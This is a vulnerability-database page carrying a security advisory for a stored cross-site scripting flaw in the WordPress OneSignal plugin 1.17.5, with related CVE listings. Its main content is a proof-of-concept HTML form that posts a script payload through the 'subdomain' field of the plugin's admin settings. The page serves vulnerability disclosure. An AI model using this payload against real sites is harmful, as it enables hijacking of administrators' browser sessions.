Lucene search
K

WordPress Plugin OneSignal 1.17.5 Persistent Cross-Site Scripting

🗓️ 18 Jul 2019 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 138 Views

Wordpress Plugin OneSignal 1.17.5 Persistent Cross-Site Scripting on 18.07.2019 by Gjoko Krsti

Related
Code
ReporterTitlePublishedViews
Family
CNVD
WordPress onesignal-free-web-push-notifications plugin cross-site scripting vulnerability
2 Sep 201900:00
cnvd
CVE
CVE-2019-15827
30 Aug 201913:08
cve
Cvelist
CVE-2019-15827
30 Aug 201913:08
cvelist
EUVD
EUVD-2019-6744
7 Oct 202500:30
euvd
NVD
CVE-2019-15827
30 Aug 201914:15
nvd
OpenVAS
WordPress OneSignal Plugin < 1.17.8 XSS Vulnerability
5 Sep 201900:00
openvas
Prion
Double free
30 Aug 201914:15
prion
RedhatCVE
CVE-2019-15827
22 May 202508:22
redhatcve
WPVulnDB
OneSignal Web Push Notifications - Stored XSS
18 Jul 201900:00
wpvulndb
<!--

WordPress Plugin OneSignal 1.17.5 Persistent Cross-Site Scripting


Vendor: OneSignal
Product web page: https://www.onesignal.com
                  https://wordpress.org/plugins/onesignal-free-web-push-notifications/
Affected version: 1.17.5

Summary: OneSignal is a high volume and reliable push notification service
for websites and mobile applications. We support all major native and mobile
platforms by providing dedicated SDKs for each platform, a RESTful server API,
and an online dashboard for marketers to design and send push notifications.

Desc: The application suffers from an authenticated stored XSS via POST request.
The issue is triggered when input passed via the POST parameter 'subdomain' is
not properly sanitized before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: WordPress 5.2.2
           Apache/2.4.39
           PHP/7.1.30


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5530
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5530.php


17.07.2019

--><html>
<body>
<script>history.pushState('', 'SHPA', '/')</script>
<form action="http://127.0.0.1/wp-admin/admin.php?page=onesignal-push" method="POST">
<input name="onesignal_config_page_nonce" type="hidden" value="f7fae30a4f"/>
<input name="_wp_http_referer" type="hidden" value="/wp-admin/admin.php?page=onesignal-push"/>
<input name="app_id" type="hidden" value="14d99ab2-fc9d-1337-bc16-a8a6df479515"/>
<input name="app_rest_api_key" type="hidden" value="M2IzZDA4MzItOGJmOS00YjRkLWE4YzEtZSLmMjllNjlkYmZl"/>
<input name="subdomain" type="hidden" value=""/><script>confirm(251)</script>" /&gt;
      <input name="safari_web_id" type="hidden" value=""/>
<input name="showNotificationIconFromPostThumbnail" type="hidden" value="true"/>
<input name="showNotificationImageFromPostThumbnail" type="hidden" value="true"/>
<input name="persist_notifications" type="hidden" value="platform-default"/>
<input name="notification_title" type="hidden" value="hACKME"/>
<input name="notifyButton_enable" type="hidden" value="true"/>
<input name="notifyButton_showAfterSubscribed" type="hidden" value="true"/>
<input name="notifyButton_prenotify" type="hidden" value="true"/>
<input name="notifyButton_showcredit" type="hidden" value="true"/>
<input name="notifyButton_customize_enable" type="hidden" value="true"/>
<input name="notifyButton_size" type="hidden" value="medium"/>
<input name="notifyButton_position" type="hidden" value="bottom-right"/>
<input name="notifyButton_theme" type="hidden" value="default"/>
<input name="notifyButton_offset_bottom" type="hidden" value=""/>
<input name="notifyButton_offset_left" type="hidden" value=""/>
<input name="notifyButton_offset_right" type="hidden" value=""/>
<input name="notifyButton_color_background" type="hidden" value=""/>
<input name="notifyButton_color_foreground" type="hidden" value=""/>
<input name="notifyButton_color_badge_background" type="hidden" value=""/>
<input name="notifyButton_color_badge_foreground" type="hidden" value=""/>
<input name="notifyButton_color_badge_border" type="hidden" value=""/>
<input name="notifyButton_color_pulse" type="hidden" value=""/>
<input name="notifyButton_color_popup_button_background" type="hidden" value=""/>
<input name="notifyButton_color_popup_button_background_hover" type="hidden" value=""/>
<input name="notifyButton_color_popup_button_background_active" type="hidden" value=""/>
<input name="notifyButton_color_popup_button_color" type="hidden" value=""/>
<input name="notifyButton_message_prenotify" type="hidden" value=""/>
<input name="notifyButton_tip_state_unsubscribed" type="hidden" value=""/>
<input name="notifyButton_tip_state_subscribed" type="hidden" value=""/>
<input name="notifyButton_tip_state_blocked" type="hidden" value=""/>
<input name="notifyButton_message_action_subscribed" type="hidden" value=""/>
<input name="notifyButton_message_action_resubscribed" type="hidden" value=""/>
<input name="notifyButton_message_action_unsubscribed" type="hidden" value=""/>
<input name="notifyButton_dialog_main_title" type="hidden" value=""/>
<input name="notifyButton_dialog_main_button_subscribe" type="hidden" value=""/>
<input name="notifyButton_dialog_main_button_unsubscribe" type="hidden" value=""/>
<input name="notifyButton_dialog_blocked_title" type="hidden" value=""/>
<input name="notifyButton_dialog_blocked_message" type="hidden" value=""/>
<input name="prompt_customize_enable" type="hidden" value="true"/>
<input name="prompt_action_message" type="hidden" value=""/>
<input name="prompt_auto_accept_title" type="hidden" value=""/>
<input name="prompt_site_name" type="hidden" value=""/>
<input name="prompt_example_notification_title_desktop" type="hidden" value=""/>
<input name="prompt_example_notification_message_desktop" type="hidden" value=""/>
<input name="prompt_example_notification_title_mobile" type="hidden" value=""/>
<input name="prompt_example_notification_message_mobile" type="hidden" value=""/>
<input name="prompt_example_notification_caption" type="hidden" value=""/>
<input name="prompt_accept_button_text" type="hidden" value=""/>
<input name="prompt_cancel_button_text" type="hidden" value=""/>
<input name="send_welcome_notification" type="hidden" value="true"/>
<input name="welcome_notification_title" type="hidden" value=""/>
<input name="welcome_notification_message" type="hidden" value=""/>
<input name="welcome_notification_url" type="hidden" value=""/>
<input name="notification_on_post" type="hidden" value="true"/>
<input name="utm_additional_url_params" type="hidden" value=""/>
<input name="allowed_custom_post_types" type="hidden" value=""/>
<input name="custom_manifest_url" type="hidden" value=""/>
<input name="show_notification_send_status_message" type="hidden" value="true"/>
<input type="submit" value="Send"/>
</form>
</body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jul 2019 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 23.5
CVSS 35.4
EPSS0.00267
138